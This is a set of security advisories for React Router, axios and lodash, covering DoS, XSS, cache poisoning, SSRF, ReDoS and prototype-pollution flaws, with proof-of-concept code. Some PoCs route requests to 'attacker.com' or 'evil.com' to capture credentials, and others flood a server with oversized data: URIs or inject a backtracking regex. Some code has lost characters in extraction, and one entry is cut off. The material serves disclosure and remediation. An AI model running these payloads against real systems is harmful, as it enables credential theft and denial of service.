React Router vulnerable to Denial of Service via reflected user input in single-fetch
A DoS vulnerability exists in the React Router v7 Framework Mode, as well as Remix v2.9.0+ with Single Fetch enabled. In some scenarios the underlying serialization algorithm can become a bottleneck when encoding specific types of data into server responses. Please upgrade to React Router v7.14.0 or later.
> [!NOTE]
> This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
Allocation of Resources Without Limits or Throttling in Axios
Summary
Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured.
This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary.
Impact
The impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.
This does not affect axios’s default unlimited behaviour by itself: maxContentLength and maxBodyLength default to -1. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.
Server-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.
Affected Functionality
Affected functionality includes requests using the built-in fetch adapter with finite maxContentLength or maxBodyLength values.
Relevant configurations include:
adapter: 'fetch'
adapter: ['fetch', ...] when fetch is selected
environments where neither xhr nor http is available and axios falls back to fetch
custom fetch environments configured through env.fetch
Unaffected functionality includes:
Node.js default http adapter enforcement
versions before the fetch adapter was introduced
configurations that do not rely on finite axios size limits
Technical Details
In vulnerable versions, lib/adapters/fetch.js destructured request config without maxContentLength or maxBodyLength. The adapter dispatched fetch() and then materialized the response through text(), arrayBuffer(), blob(), or related resolvers without checking the configured response limit.
The fix in e5540dc added:
maxContentLength and maxBodyLength reads in lib/adapters/fetch.js
upfront data: URL decoded-size checks
outbound body-size checks before dispatch
Content-Length response pre-checks
streaming response enforcement
fallback checks for environments without ReadableStream
regression tests in tests/unit/adapters/fetch.test.js
Proof of Concept of Attack
``js
import http from 'node:http';
import axios from 'axios';
const server = http.createServer((req, res) => {
let received = 0;
req.on('data', chunk => {
received += chunk.length;
});
req.on('end', () => {
res.end(JSON.stringify({ received }));
});
});
await new Promise(resolve => server.listen(0, resolve));
const url = http://127.0.0.1:${server.address().port}/;
await axios.post(url, 'A'.repeat(2 1024 1024), {
adapter: 'fetch',
maxBodyLength: 1024
});
// Vulnerable versions succeed and the server receives 2097152 bytes.
// Fixed versions reject with ERR_BAD_REQUEST.
server.close();
`
Workarounds
Use the Node.js http adapter for server-side requests where finite size limits are security-relevant.
Validate or cap attacker-controlled request bodies before passing them to axios.
Reject or strictly allowlist attacker-controlled URL schemes, especially data:` URLs, before calling axios.
<details>
<summary>Original Report</summary>
Summary
When Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.
Details
maxBodyLength and maxContentLength are not applied in the fetch adapter flow:
lib/adapters/fetch.js (146-160): config destructuring does not include these controls.
lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement.
lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks.
By contrast, the HTTP adapter enforces both limits.
PoC
Environment:
Axios main at commit f7a4ee2
Node v24.2.0
Steps:
1. Start an HTTP server that counts received bytes and echoes {received}.
2. Send 2 MiB with:
adapter: 'fetch'
maxBodyLength: 1024
3. Request a 4 KiB data: URL with:
adapter: 'fetch'
maxContentLength: 16
Expected secure behavior: both requests rejected.
Observed:
Upload: success, server received 2097152
data: response: success, length 4096
Impact
Type: DoS / resource exhaustion due to limit bypass.
Impacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes.
</details>
---
React Router vulnerable to DoS via unbounded path expansion in __manifest endpoint
There exists a potential DOS attack vector in React Router Framework Mode applications (as well as Remix v2.10.0 - 2.17.4). Certain requests can be crafted to consume disproportionate resources on the server, resulting in response time degredation and/or service unavailability for end users.
> [!NOTE]
> This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
React Router's vendored turbo-stream v2 allows arbitrary constructor invocation via TYPE_ERROR deserialization leading to Unauth RCE
When using React Router v7 in Framework Mode, there exists a combination of steps that could potentially allow unauthorized RCE through external requests. This first requires the application code to have an existing prototype pollution vulnerability. This can be leveraged into a 2-step attack in which the second step can trigger unauthorized RCE on the remote server.
> [!NOTE]
> This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
React Router vulnerable to XSS in unstable RSC redirect handling via javascript: redirect targets
When using React Router v7's unstable RSC APIs, there exists a potential client-side XSS issue in the RSC redirect handling if redirects are coming from untrusted sources
> [!NOTE]
> This only impacts your application if you are using the unstable RSC APIs in React Router.
axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`
Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.
The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.
Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.
Severity: Critical (CVSS 9.4)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/adapters/http.js (config property access on merged object)
CWE
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
CVSS 3.1
Score: 9.4 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | MITM within the application's network context |
| Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) |
| Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true |
| Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact |
Why This Bypasses mergeConfig
The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:
1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set
2. defaultToConfig2 for proxy is never called
3. The merged config has no own proxy property
4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain
5. Object.prototype.proxy is found → used by setProxy()
This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
``javascript
Object.prototype.proxy = {
host: 'attacker.com',
port: 8080,
protocol: 'http',
};
`
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
`javascript
// This looks safe to the developer — no proxy configured
const response = await axios.get('https://api.internal.corp/secrets', {
auth: { username: 'svc-account', password: 'prod-key-abc123!' }
});
`
3. The Execution
At http.js:668-670:
`javascript
setProxy(
options,
config.proxy, // ← traverses prototype chain → finds polluted proxy
protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path
);
`
setProxy() at http.js:191-239 then:
`javascript
function setProxy(options, configProxy, location) {
let proxy = configProxy; // = { host: 'attacker.com', port: 8080 }
// ...
if (proxy) {
options.hostname = proxy.hostname || proxy.host; // → 'attacker.com'
options.port = proxy.port; // → 8080
options.path = location; // → full URL as path
// ...
}
}
`
4. The Impact (Full MITM)
The attacker's proxy server receives:
`http
GET http://api.internal.corp/secrets HTTP/1.1
Host: api.internal.corp
Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==
User-Agent: axios/1.15.0
Accept: application/json, text/plain, /
`
The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker:
Sees every request URL, header, and body
Modifies every response (inject malicious data, change auth results)
Logs all API keys, session tokens, and passwords
Operates as an invisible proxy — the developer has no indication
5. Verified PoC Code
`javascript
import http from 'http';
import axios from './index.js';
// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
intercepted.push({
url: req.url,
authorization: req.headers.authorization,
headers: req.headers,
});
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;
// Real target server
const realServer = http.createServer((req, res) => {
res.writeHead(200);
res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;
// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };
// "Safe" request — goes through attacker's proxy
const resp = await axios.get(http://127.0.0.1:${realPort}/api/secrets, {
auth: { username: 'admin', password: 'SuperSecret123!' }
});
console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)
delete Object.prototype.proxy;
realServer.close();
proxyServer.close();
`
Verified PoC Output
`
[1] Normal request (before pollution):
Response source: real server
response.data: {"data":"from-real-server"}
Proxy intercept count: 0
[2] Prototype Pollution: Object.prototype.proxy
Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }
[3] Request after pollution (same code, same URL):
Response source: ATTACKER PROXY!
response.data: {"data":"from-attacker-proxy","hijacked":true}
[4] Data intercepted by attacker's proxy:
Full URL: http://127.0.0.1:50878/api/secrets
Host: 127.0.0.1:50878
Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh
All headers: {
"accept": "application/json, text/plain, /",
"user-agent": "axios/1.15.0",
"accept-encoding": "gzip, compress, deflate, br",
"host": "127.0.0.1:50878",
"authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh",
"connection": "keep-alive"
}
[5] Attacker capabilities demonstrated:
✓ Full URL visible (including internal hostnames)
✓ Authorization header visible (Base64-encoded credentials)
✓ Can modify/forge response data
✓ Affects ALL axios HTTP requests (not just a single instance)
✓ No assertOptions constraints (unlike transformResponse gadget)
`
Impact Analysis
Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.
Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true".
Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.
Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios.
Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.
Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.
Why This Is More Severe Than transformResponse (axios_26)
| Dimension | transformResponse Gadget | proxy Gadget |
|---|---|---|
| Data access | this.auth + response data | All headers, auth, body, URL, response |
| Response control | Must return true | Arbitrary responses |
| Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) |
| mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely |
Recommended Fix
Fix 1: Use hasOwnProperty when reading security-sensitive config properties
`javascript
// In lib/adapters/http.js
const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;
setProxy(options, proxy, location);
`
Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty
Properties not in defaults that are read by http.js and have security impact:
config.proxy — MITM
config.socketPath — Unix socket SSRF
config.transport — request hijack
config.lookup — DNS hijack
config.beforeRedirect — redirect manipulation
config.httpAgent / config.httpsAgent — agent injection
All should use hasOwnProperty checks.
Fix 3: Use null-prototype object for merged config
`javascript
// In lib/core/mergeConfig.js
const config = Object.create(null);
``
Resources
CWE-1321: Prototype Pollution
CWE-441: Unintended Proxy
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified — full MITM confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking
Summary
Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.
Affected Properties
1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.
Proof of Concept
``javascript
const axios = require('axios');
// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';
await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
`
Impact
Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
Code execution: Attacker-supplied functions execute during HTTP redirects.
Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.
Root Cause
mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.
The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.
Suggested Fix
Apply the existing own() helper to all affected properties:
`javascript
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
`
Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js`.
React Router vulnerable to XSS via Open Redirects
React Router (and Remix v1/v2) SPA open navigation redirects originating from loaders or actions in Framework Mode, Data Mode, or the unstable RSC modes can result in unsafe URLs causing unintended javascript execution on the client. This is only an issue if developers are creating redirect paths from untrusted content or via an open redirect.
> [!NOTE]
> This does not impact applications that use Declarative Mode (<BrowserRouter>).
React Router SSR XSS in ScrollRestoration
A XSS vulnerability exists in in React Router's <ScrollRestoration> API in Framework Mode when using the getKey/storageKey props during Server-Side Rendering which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the keys.
> [!NOTE]
> This does not impact applications if developers have disabled server-side rendering in Framework Mode, or if they are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
React Router has XSS Vulnerability
A XSS vulnerability exists in in React Router's meta()/<Meta> APIs in Framework Mode when generating script:ld+json tags which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the tag.
> [!NOTE]
> This does not impact applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
Axios is vulnerable to DoS attack through lack of data size check
Summary
When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.
Details
The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.
Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):
``js
const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405, ... });
}
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200, ... });
}
`
The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):
`js
export default function fromDataURI(uri, asBlob, options) {
...
if (protocol === 'data') {
uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
const match = DATA_URL_PATTERN.exec(uri);
...
const body = match[3];
const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
if (asBlob) { return new _Blob([buffer], {type: mime}); }
return buffer;
}
throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
`
The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.
In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.
PoC
`js
const axios = require('axios');
async function main() {
// this example decodes ~120 MB
const base64Size = 160_000_000; // 120 MB after decoding
const base64 = 'A'.repeat(base64Size);
const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);
const response = await axios.get(uri, {
responseType: 'arraybuffer'
});
console.log('Received bytes:', response.data.length);
}
main().catch(err => {
console.error('Error:', err.message);
});
`
Run with limited heap to force a crash:
`bash
node --max-old-space-size=100 poc.js
`
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
`
<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…
`
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.
`js
import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";
const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
timeout: 10000,
maxRedirects: 5,
httpAgent, httpsAgent,
headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
validateStatus: c => c >= 200 && c < 400
});
const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/
POST /preview { "url": "<http|https|data URL>" }
Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
/
app.post("/preview", async (req, res) => {
const url = req.body?.url;
if (!url) return res.status(400).json({ error: "missing url" });
let u;
try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }
// Developer allows using data:// in the allowlist
const allowed = new Set(["http:", "https:", "data:"]);
if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });
const controller = new AbortController();
const onClose = () => controller.abort();
res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try {
const r = await axiosClient.get(u.toString(), {
responseType: "stream",
maxContentLength: 8 1024, // Axios will ignore this for data:
maxBodyLength: 8 1024, // Axios will ignore this for data:
signal: controller.signal
});
// stream only the first 64KB back
const cap = 64 1024;
let sent = 0;
const limiter = new PassThrough();
r.data.on("data", (chunk) => {
if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
else { sent += chunk.length; limiter.write(chunk); }
});
r.data.on("end", () => limiter.end());
r.data.on("error", (e) => limiter.destroy(e));
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
limiter.pipe(res);
} catch (err) {
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
res.status(502).json({ error: String(err?.message || err) });
} finally {
res.off("close", onClose);
}
});
app.listen(PORT, () => {
console.log(axios-poc-link-preview listening on http://0.0.0.0:${PORT});
console.log(Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).);
});
`
Run this app and send 3 post requests:
`sh
SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null`
`
---
Suggestions
1. Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
2. Stream decoding
Instead of decoding the entire payload in one Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.
React Router allows pre-render data spoofing on React-Router framework mode
Summary
After some research, it turns out that it's possible to modify pre-rendered data by adding a header to the request. This allows to completely spoof its contents and modify all the values of the data object passed to the HTML. Latest versions are impacted.
Details
The vulnerable header is X-React-Router-Prerender-Data, a specific JSON object must be passed to it in order for the spoofing to be successful as we will see shortly. Here is the vulnerable code :
<img width="776" alt="Capture d’écran 2025-04-07 à 05 36 58" src="https://github.com/user-attachments/assets/c95b0b33-15ce-4d30-9f5e-b10525dd6ab4" />
To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader.
Steps to reproduce
Versions used for our PoC:
"@react-router/node": "^7.5.0",
"@react-router/serve": "^7.5.0",
"react": "^19.0.0"
"react-dom": "^19.0.0"
"react-router": "^7.5.0"
1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation)
2. Add a simple page using a loader (example: routes/ssr)
3. Access your page (which uses the loader) by suffixing it with .data. In our case the page is called /ssr:
!image
We access it by adding the suffix .data and retrieve the data object, needed for the header:
!image
4. Send your request by adding the X-React-Router-Prerender-Data header with the previously retrieved object as its value. You can change any value of your data object (do not touch the other values, the latter being necessary for the object to be processed correctly and not throw an error):
!Capture d’écran 2025-04-07 à 05 56 10
As you can see, all values have been changed/overwritten by the values provided via the header.
Impact
The impact is significant, if a cache system is in place, it is possible to poison a response in which all of the data transmitted via a loader would be altered by an attacker allowing him to take control of the content of the page and modify it as he wishes via a cache-poisoning attack. This can lead to several types of attacks including potential stored XSS depending on the context in which the data is injected and/or how the data is used on the client-side.
Credits
Rachid Allam (zhero;)
Yasser Allam (inzo_)
React Router allows a DoS via cache poisoning by forcing SPA mode
Summary
After some research, it turns out that it is possible to force an application to switch to SPA mode by adding a header to the request. If the application uses SSR and is forced to switch to SPA, this causes an error that completely corrupts the page. If a cache system is in place, this allows the response containing the error to be cached, resulting in a cache poisoning that strongly impacts the availability of the application.
Details
The vulnerable header is X-React-Router-SPA-Mode; adding it to a request sent to a page/endpoint using a loader throws an error. Here is the vulnerable code :
<img width="672" alt="Capture d’écran 2025-04-07 à 08 28 20" src="https://github.com/user-attachments/assets/0a0e9c41-70fd-4dba-9061-892dd6797291" />
To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader.
Steps to reproduce
Versions used for our PoC:
"@react-router/node": "^7.5.0",
"@react-router/serve": "^7.5.0",
"react": "^19.0.0"
"react-dom": "^19.0.0"
"react-router": "^7.5.0"
1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation)
2. Add a simple page using a loader (example: routes/ssr)
!image
3. Send a request to the endpoint using the loader (/ssr in our case) adding the following header:
``
X-React-Router-SPA-Mode: yes
``
Notice the difference between a request with and without the header;
Normal request
!Capture d’écran 2025-04-07 à 08 36 27
With the header
!Capture d’écran 2025-04-07 à 08 37 01
!image
Impact
If a system cache is in place, it is possible to poison the response by completely altering its content (by an error message), strongly impacting its availability, making the latter impractical via a cache-poisoning attack.
Credits
Rachid Allam (zhero;)
Yasser Allam (inzo_)
Server-Side Request Forgery in axios
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.
lodash vulnerable to Code Injection via `_.template` imports key names
Impact
The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.
When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.
Additionally, _.template use
Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection
Summary
Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie.
The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie.
Impact
Applications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.
This does not expose credentials, modify requests, or affect response integrity. The impact is availability only.
Affected Functionality
Affected code paths:
lib/helpers/cookies.js read(name) in standard browser environments.
lib/helpers/resolveConfig.js in 1.x, when browser XHR/fetch adapters resolve XSRF config.
lib/adapters/xhr.js in 0.x, when the XHR adapter reads the configured XSRF cookie.
Direct use of axios/unsafe/helpers/cookies.js in 1.x, if callers pass attacker-controlled names.
Unaffected code paths:
Default static xsrfCookieName: 'XSRF-TOKEN' when not attacker-controlled.
Requests with xsrfCookieName: null.
Node HTTP adapter usage without browser document.cookie.
React Native and web workers where axios does not use standard browser cookie access.
Technical Details
Affected versions interpolate the cookie name into a regex.
``js
const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
`
Because name is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as (.+)+$ can force catastrophic backtracking against document.cookie.
The fix avoids dynamic regex construction and parses document.cookie by splitting on ;, trimming leading whitespace, and comparing cookie names with exact string equality.
Proof of Concept of Attack
`js
function vulnerableRead(name, cookie) {
const start = Date.now();
try {
cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
} catch {}
return Date.now() - start;
}
for (const n of [20, 22, 24, 26, 28]) {
const cookie = 'x='.padEnd(n, 'a') + '!';
console.log(${n}: ${vulnerableRead('(.+)+$', cookie)}ms);
}
`
Expected result: timings grow rapidly as the cookie string length increases.
Workarounds
Set xsrfCookieName: null if the application does not need axios to read an XSRF cookie.
Do not derive xsrfCookieName from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.
Avoid calling axios/unsafe/helpers/cookies.js directly with untrusted names
<details>
<summary>Original Source</summary>
Regular Expression Denial of Service (ReDoS) via Cookie Name Injection
1. Title
ReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction
2. Affected Software and Version
Software: Axios
Version: 1.15.0 (and potentially earlier versions)
Component: lib/helpers/cookies.js
Ecosystem: npm (Node.js / Browser)
3. Vulnerability Type / CWE
Type: Regular Expression Denial of Service (ReDoS)
CWE-1333: Inefficient Regular Expression Complexity
CWE-400: Uncontrolled Resource Consumption
4. CVSS 3.1 Score
Score: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality | None |
| Integrity | None |
| Availability | High |
5. Description
The cookies.read() function in lib/helpers/cookies.js constructs a regular expression dynamically using the name parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw name value directly into new RegExp():
`javascript
const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
`
An attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of xsrfCookieName, or any code path where user input reaches cookies.read()) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.
